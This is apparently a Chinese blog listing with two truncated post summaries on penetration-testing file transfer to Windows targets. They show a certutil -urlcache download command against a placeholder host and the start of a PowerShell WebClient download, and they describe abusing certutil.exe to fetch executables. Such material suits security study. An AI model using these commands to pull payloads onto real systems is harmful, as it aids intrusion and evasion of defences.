摘要:
目标机器为Windows: Certutil.exe certutil -urlcache -split -f "http://ip-addr:port/file" [output-file] Powershell powershell -c (New-Object Net.WebClient).D 阅读全文
摘要:
Certutil.exe 是一个命令行程序,作为证书服务的一部分安装。可以使用 certutil.exe 转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件以及验证证书、密钥对和证书链。 但是渗透测试人员可以利用该命令行程序从目标网站下载任何文件(比如特定用途的可执行文 阅读全文